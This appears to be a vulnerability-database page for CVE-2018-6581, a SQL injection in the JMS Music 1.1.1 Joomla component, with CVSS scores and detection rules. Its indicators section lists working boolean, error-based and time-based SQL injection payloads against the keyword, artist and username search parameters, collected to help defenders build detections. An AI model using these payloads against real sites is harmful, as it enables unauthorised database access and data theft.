CVE-2018-6581

published 2018-02-02

CVE-2018-6581: SQL Injection exists in the JMS Music 1.1.1 component for Joomla! via a search with the keyword, artist, or username parameter.

Priority P2 63 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the JMS Music 1.1.1 component for Joomla! via a search with the keyword, artist, or username parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
joommasters	jms_music	—	—

Detection & IOCs extracted from sources · hover to see the quote

url index.php?option=com_jmsmusic&view=search&keyword=[SQL]↗

url index.php?option=com_jmsmusic&view=search&artist=[SQL]↗

url index.php?option=com_jmsmusic&view=search&username=[SQL]↗

command option=com_jmsmusic&view=search&keyword=-5694' OR 3737=3737#↗

command option=com_jmsmusic&view=search&keyword=Efe' AND (SELECT 5924 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(5924=5924,1))),0x716b626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- BeNf↗

command option=com_jmsmusic&view=search&keyword=Efe' OR SLEEP(5)-- EoWI↗

command option=com_jmsmusic&view=search&artist=Efe'||(SELECT 'ziQV' FROM DUAL WHERE 5411=5411 AND (SELECT 5581 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(5581=5581,1))),0x7170706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'↗

command option=com_jmsmusic&view=search&artist=Efe'||(SELECT 'xwge' FROM DUAL WHERE 8319=8319 AND SLEEP(5))||'↗

command option=com_jmsmusic&view=search&username=-1653' OR 6007=6007#↗

command option=com_jmsmusic&view=search&username=Efe' AND (SELECT 8019 FROM(SELECT COUNT(*),CONCAT(0x7171766b71,(SELECT (ELT(8019=8019,1))),0x7171767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rMej↗

command option=com_jmsmusic&view=search&username=Efe' OR SLEEP(5)-- rhvR↗

• → Detect GET requests to index.php with option=com_jmsmusic&view=search containing SQL injection patterns in the keyword, artist, or username parameters (e.g., single quotes, OR/AND clauses, SLEEP(), UNION SELECT, INFORMATION_SCHEMA references). ↗
• → Alert on URL-encoded SQL injection payloads in query strings targeting com_jmsmusic, e.g. percent-encoded sequences such as %27%20%41%4e%44 or %53%45%4c%45%43%54 in keyword/artist/username parameters. ↗
• → Flag time-based blind SQLi attempts: requests to com_jmsmusic search endpoint where keyword, artist, or username parameter contains SLEEP() function calls. ↗
• → Flag error-based SQLi attempts targeting INFORMATION_SCHEMA.PLUGINS with FLOOR(RAND(0)*2) GROUP BY pattern in com_jmsmusic search parameters. ↗

• · The exploit PoC uses localhost as the target host; in real-world attacks the [PATH] component will vary per deployment. Detection rules should match on the query string parameters (option=com_jmsmusic&view=search) regardless of host or path prefix. ↗
• · The CVE entry notes the affected version is specifically JMS Music 1.1.1; detections should be scoped to installations running this version, though version cannot always be determined from HTTP traffic alone. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-89